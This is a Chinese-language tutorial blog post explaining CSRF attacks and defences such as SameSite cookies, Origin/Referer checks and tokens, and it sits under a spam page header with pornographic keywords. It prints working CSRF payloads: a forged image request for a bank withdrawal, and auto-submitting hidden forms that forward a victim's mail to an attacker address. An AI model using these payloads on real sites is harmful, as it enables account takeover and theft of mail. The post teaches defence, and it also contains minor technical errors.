国产xxxx99真实实拍_久久不雅视频_高清韩国a级特黄毛片_嗯老师别我我受不了了小说

資訊專欄INFORMATION COLUMN

CSRF攻擊

社區(qū)管理員 / 760人閱讀

一、什么是CSRF攻擊

我們常常聽到這樣一句話：默認(rèn)的鏈接不要點(diǎn)，那些年也聽過，郵箱中的垃圾鏈接不要點(diǎn)。 因為可能是黑客發(fā)起的CSRF攻擊，所以在點(diǎn)擊之前最好是確認(rèn)鏈接的安全性。

CSRF（Cross-site requests forgery）中文名：跨站腳本偽造

簡單的理解就是，黑客盜用了你的身份，以你的名義向你訪問的站點(diǎn)發(fā)送請求。這些請求操作可能是轉(zhuǎn)發(fā)郵件、獲取發(fā)送內(nèi)容，發(fā)起轉(zhuǎn)賬、獲取權(quán)限等。

CSRF攻擊發(fā)起于第三方網(wǎng)站，比較隱蔽，可以直接對用戶的利益造成損失。一旦攻擊成功，危害是很嚴(yán)重的。

二、CSRF攻擊的原理

1、攻擊的流程

用戶登錄某個站點(diǎn)后，黑客引誘用戶訪問第三方的惡意站點(diǎn)，惡意站點(diǎn)利用用戶的登錄憑證，向用戶站點(diǎn)發(fā)送偽造的請求，從而執(zhí)行某種損害用戶利益的操作。

具體的流程是：

  • 1、用戶訪問a.com（正常站點(diǎn)），并保持登錄狀態(tài)

  • 2、黑客引誘用戶登錄hack.com(第三方惡意站點(diǎn))，hack.com攜帶登錄憑證向a.com發(fā)送請求

  • 3、a.com驗證非法請求的登錄憑證，誤以為是用戶執(zhí)行了某種操作。

  • 4、攻擊成功，a.com執(zhí)行操作（轉(zhuǎn)賬、開通權(quán)限、郵件過濾等）

image.png

所以CSRF攻擊要滿足兩個條件：

  • 攻擊站點(diǎn)保持登錄狀態(tài)

  • 后端允許跨域且沒有驗證請求來源

2、攻擊的特點(diǎn)

  • 1、CSRF攻擊無法獲取站點(diǎn)的Cookie，只能盜用

  • 2、CSRF攻擊一般是第三方站點(diǎn)發(fā)起，即肯定是跨域攻擊

3、CSRF攻擊的類型

  • GET請求攻擊

構(gòu)造非法的Get攻擊請求

<img src="http://bank.cm/withdraw?amount=500000&for=zhangsan" > 復(fù)制代碼

  • POST請求攻擊

    后端配置CORS接口跨域請求，如果要攜帶Cookie，那么必須要配置具體的請求域名Access-Control-Allow-Origin, *test.cn

    如果配置成Access-Control-Allow-Origin, *是無法發(fā)送Cookie的，但對于Form提交來說確實可以攜帶Cookie的。所以CSRF POST攻擊主要通過Form表單實現(xiàn)。下面有實戰(zhàn)的例子。

  • 嵌入的攻擊鏈接

    主要對于內(nèi)容型網(wǎng)站、論壇、博客等，可以允許用戶評論等輸入內(nèi)容，如果黑客輸入攻擊鏈接，保存后，如果其他用戶點(diǎn)擊，就有可能發(fā)起攻擊。

三、CSRF攻擊的案例

一個實際攻擊的案例：

用戶A登錄郵箱后，看到一個領(lǐng)獎的郵件，就點(diǎn)擊進(jìn)去查看，發(fā)現(xiàn)什么都沒有

過了一段時間后，發(fā)現(xiàn)自己的郵箱賬號無法登錄了

A懷疑自己受到CSRF攻擊，就重置賬號后找到之前的異常郵件，查看源碼

發(fā)現(xiàn)是一段form表單提交的代碼，請求設(shè)置了郵件過濾器，將郵件都轉(zhuǎn)發(fā)到hack@163.com上，導(dǎo)致信息泄露

<form action="http://a.com/filter" method="POST">\     <p>user: <input type="hidden" name="filter" value="on" /></p>\     <p>email: <input type="hidden" name="email" value="hack@163.com" /></p>\     <p>email: <input type="hidden" name="action" value="filterEail" /></p>\ </form> <script> document.forms[0].submit(); </script> 復(fù)制代碼

實際這個案例背后發(fā)生了什么呢？

  • 1、首先用戶登錄了郵箱賬號，這時候服務(wù)器返回給Cookie保存在本地。

  • 2、當(dāng)用戶點(diǎn)擊了惡意鏈接，跳轉(zhuǎn)了惡意站點(diǎn)，惡意站點(diǎn)帶著Cookie直接執(zhí)行轉(zhuǎn)發(fā)郵件的請求

  • 3、服務(wù)器收到請求以后，以為是用戶自行發(fā)起的操作，就成功執(zhí)行

  • 4、黑客就可以收到用戶郵件，也就可以通過驗證郵件驗證碼，重置用戶郵箱密碼，從而竊取用戶信息。

四、CSRF攻擊的實踐

1、前期準(zhǔn)備：一個正常的可以登錄的網(wǎng)站

index.js

image.png

web.html

<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <meta http-equiv="X-UA-Compatible" content="IE=edge">     <meta name="viewport" content="width=device-width, initial-scale=1.0">     <title>用戶正常訪問網(wǎng)站</title>     <style>         #app {             color: red         }     </style> </head> <body>     <div>         <p>當(dāng)前為A站點(diǎn)：用戶訪問的正常網(wǎng)站，默認(rèn)用戶已登錄站點(diǎn)，并緩存Cookies</p>         <p>站點(diǎn)的Cookie是：<span id="app"></span></p>         <a target="target" href="http://localhost:8080/index.html">CSRF攻擊的惡意鏈接</p>     </div>     <script>         document.cookie = "user:zhangsan"         document.getElementById("app").innerHTML = document.cookie     </script> </body> </html> 復(fù)制代碼

2、前期準(zhǔn)備：一個攻擊的請求或可以提交的頁面

發(fā)起CSRF攻擊的站點(diǎn)

<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <meta http-equiv="X-UA-Compatible" content="IE=edge">     <meta name="viewport" content="width=device-width, initial-scale=1.0">     <title>csrf攻擊實踐</title> </head> <body>     <p>當(dāng)前站點(diǎn)為B站點(diǎn)：是發(fā)起csrf攻擊的站點(diǎn)</p>     <div>         <ul>             <li>1、當(dāng)打開該站點(diǎn)，該站點(diǎn)將請求A站點(diǎn)的api</li>             <li>2、A站點(diǎn)接收到請求后，驗證Cookie，認(rèn)為是A站點(diǎn)的正常請求</li>             <li>3、A站點(diǎn)執(zhí)行Api操作，然后用戶攻擊成功</li>         </ul>     </div>     <form method="POST" action="http://localhost:9000/api" enctype="multipart/form-data">          <input type="hidden" name="lisi" value="true"/>          <input type="hidden" name="email" value="hacker@hack.com"/>      </form>      <script>          document.forms[0].submit();     </script> </body> </html> 復(fù)制代碼

啟動端口為8080的node服務(wù)

image.png

3、模擬攻擊

1、用戶正常訪問的登錄頁面

image.png

2、用戶點(diǎn)擊了未讀郵件的惡意鏈接

image.png

3、在正常站點(diǎn)后端Api，通過Cookie認(rèn)為這是一個正常的用戶操作，執(zhí)行了某種操作

image.png

五、如何阻止CSRF攻擊

根據(jù)CSRF攻擊的特點(diǎn)：

（1）攻擊請求來源于第三方服務(wù)器，阻止其他外域的請求。

（2）通過Cookie冒用用戶信息，增加驗證信息

所以針對CSRF攻擊來源于第三方服務(wù)器，我們只能被動的減少服務(wù)器漏洞，防止攻擊，下面總結(jié)了一些常見的處理方式

1、不點(diǎn)擊陌生或者不被信任的網(wǎng)址

這一條就很厲害了，保證安全，不明郵件或者不明URL不要點(diǎn)擊。如果非要點(diǎn)擊，復(fù)制出來，換個不常用的瀏覽器，清空所有Cookie，再點(diǎn)擊。

2、阻止第三方服務(wù)器向站點(diǎn)發(fā)送請求

1）SameSite origin(注意兼容性)

Chrome 51 開始，瀏覽器的 Cookie 新增加了一個SameSite屬性，用來防止 CSRF 攻擊。

SameSite有以下三個值，表示的含義如下：

屬性值說明
Strict最為嚴(yán)格，除非請求地址和服務(wù)器地址一致時才會發(fā)送Cookie，嚴(yán)格禁止了第三方Cookie
Lax相對放寬限制，除了a、link、form的GET提交攜帶Cookie，其他的都禁止
None不限制Cookie發(fā)送，但還是遵守同源策略

Strict 過于嚴(yán)格，比如登錄過的站點(diǎn)，從百度搜索跳轉(zhuǎn)過去，要重新登錄，所以相對不友好。

設(shè)置了Strict和Lax模式，基本阻止了CSRF攻擊的可能，但可能影響頁面中的Form表單、iframe、ajax請求和圖片請求。

Chrome80之前默認(rèn)None，之后默認(rèn)Lax，下面是不同模式實際在項目中發(fā)送Cookie情況

請求類型示例正常情況Lax
鏈接<a href="..."></a>發(fā)送 Cookie發(fā)送 Cookie
預(yù)加載<link rel="prerender" href="..."/>發(fā)送 Cookie發(fā)送 Cookie
GET 表單<form method="GET" action="...">發(fā)送 Cookie發(fā)送 Cookie
POST 表單<form method="POST" action="...">發(fā)送 Cookie不發(fā)送
iframe<iframe src="..."></iframe>發(fā)送 Cookie不發(fā)送
AJAX$.get("...")發(fā)送 Cookie不發(fā)送
Image<img src="...">發(fā)送 Cookie不發(fā)送

2）同源檢測，服務(wù)端校驗請求來源

  • 同源策略可以防止csrf攻擊嗎？

  • 還需要驗證請求頭嗎？

  • 驗證請求來源origin和referer

我們知道CSRF攻擊都是發(fā)起于第三方站點(diǎn)，所以請求的來源必要和服務(wù)器不同，而且瀏覽器會自動給請求增加Origin和Referer字段，用來識別請求來源，那么只要我們在后端設(shè)置請求的來源，就可以防止CSRF攻擊。

下面獲取origin和referer，如果是第三方的請求，屏蔽即可。

對于Referer，如果添加了Meta標(biāo)簽，請求頭中的Referer將不會攜帶。

<meta name="referrer" content="never"> 復(fù)制代碼

Origin和Referer在個別瀏覽器表現(xiàn)不同，如果都無法獲取，直接禁止訪問即可。

獲取Origin和Referer

3、增加Token校驗

網(wǎng)站為了保持登錄狀態(tài)，開始一般都是登錄后，服務(wù)器默認(rèn)生成Cookies，客戶端保存Cookies，每次請求默認(rèn)都會攜帶Cookies，用戶后端驗證用戶身份。

但Cookie會存在被攻擊的風(fēng)險，所以可以替換成Token，Token一般是后端服務(wù)由隨機(jī)字符串+時間戳+其他生成然后通過加密算法生成。

用戶登錄后生成一個Token，后端保存起來，每次請求就可以驗證Token的合法性和有效期，甚至可以封裝user信息，這樣黑客就不容易冒充用戶發(fā)起攻擊，即使知道了加密的結(jié)構(gòu)也沒法通過登錄生成Token。

當(dāng)然這樣數(shù)據(jù)庫就會保存大量的Token，對于服務(wù)器會造成一定的壓力，也可以采取下面一種措施：同時保留Cookie和Token，Token僅用來防止CSRF攻擊，不再保存數(shù)據(jù)庫，直接在客戶端保存，請求發(fā)送到服務(wù)器后，根據(jù)生成Token的算法計算Token的有效期和合法性，這樣就避免了數(shù)據(jù)庫讀取的壓力。

token的校驗很常見，不僅可以用來做登錄驗證，也可以在使用Cookies做登錄認(rèn)證的同時使用token做CSRF的鑒權(quán)

文章版權(quán)歸作者所有，未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為，您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請注明本文地址：http://specialneedsforspecialkids.com/yun/127961.html

相關(guān)文章

  • 程序猿必讀-防范CSRF跨站請求偽造

    摘要：，中文為跨站請求偽造是一種利用網(wǎng)站可信用戶的權(quán)限去執(zhí)行未授權(quán)的命令的一種惡意攻擊。防范技術(shù)令牌同步模式，簡稱是在用戶請求的頁面中的所有表單中嵌入一個，在服務(wù)端驗證這個的技術(shù)。 showImg(https://segmentfault.com/img/remote/1460000008505619); CSRF（Cross-site request forgery，中文為跨站請求偽造）是...

    wangtdgoodluck 評論0 收藏0

  • 程序猿必讀-防范CSRF跨站請求偽造

    摘要：，中文為跨站請求偽造是一種利用網(wǎng)站可信用戶的權(quán)限去執(zhí)行未授權(quán)的命令的一種惡意攻擊。防范技術(shù)令牌同步模式，簡稱是在用戶請求的頁面中的所有表單中嵌入一個，在服務(wù)端驗證這個的技術(shù)。 showImg(https://segmentfault.com/img/remote/1460000008505619); CSRF（Cross-site request forgery，中文為跨站請求偽造）是...

    baishancloud 評論0 收藏0

  • web安全二，CSRF攻擊

    摘要：參考深入解析跨站請求偽造漏洞攻擊的應(yīng)對之道相關(guān)安全，是一個很重要的技能，也是一個領(lǐng)域的知識。我把這個領(lǐng)域的東西寫成了一個系列，以后還會繼續(xù)完善下去安全一同源策略與跨域安全二攻擊安全三攻擊 什么是CSRF 全稱是（Cross Site Request Forgery）跨站請求偽造。也就是惡意網(wǎng)站偽裝成用戶向目標(biāo)網(wǎng)站服務(wù)器發(fā)送請求，騙取服務(wù)器執(zhí)行請求中的命令，直接在服務(wù)器改變數(shù)據(jù)值的一種攻...

    cnsworder 評論0 收藏0

  • web安全二，CSRF攻擊

    摘要：參考深入解析跨站請求偽造漏洞攻擊的應(yīng)對之道相關(guān)安全，是一個很重要的技能，也是一個領(lǐng)域的知識。我把這個領(lǐng)域的東西寫成了一個系列，以后還會繼續(xù)完善下去安全一同源策略與跨域安全二攻擊安全三攻擊 什么是CSRF 全稱是（Cross Site Request Forgery）跨站請求偽造。也就是惡意網(wǎng)站偽裝成用戶向目標(biāo)網(wǎng)站服務(wù)器發(fā)送請求，騙取服務(wù)器執(zhí)行請求中的命令，直接在服務(wù)器改變數(shù)據(jù)值的一種攻...

    余學(xué)文 評論0 收藏0

  • 前端安全系列：CSRF篇

    摘要：系列文章前端安全系列篇前端安全系列篇介紹跨站請求偽造，也被稱為或者，通常縮寫為或者，是一種對網(wǎng)站的惡意利用。 系列文章: 前端安全系列：XSS篇前端安全系列：CSRF篇 CSRF介紹 CSRF（Cross-site request forgery）跨站請求偽造，也被稱為One Click Attack或者Session Riding，通常縮寫為CSRF或者XSRF，是一種對網(wǎng)站的惡意利...

    Java_oldboy 評論0 收藏0

發(fā)表評論

0條評論

最新活動
閱讀需要支付1元查看
<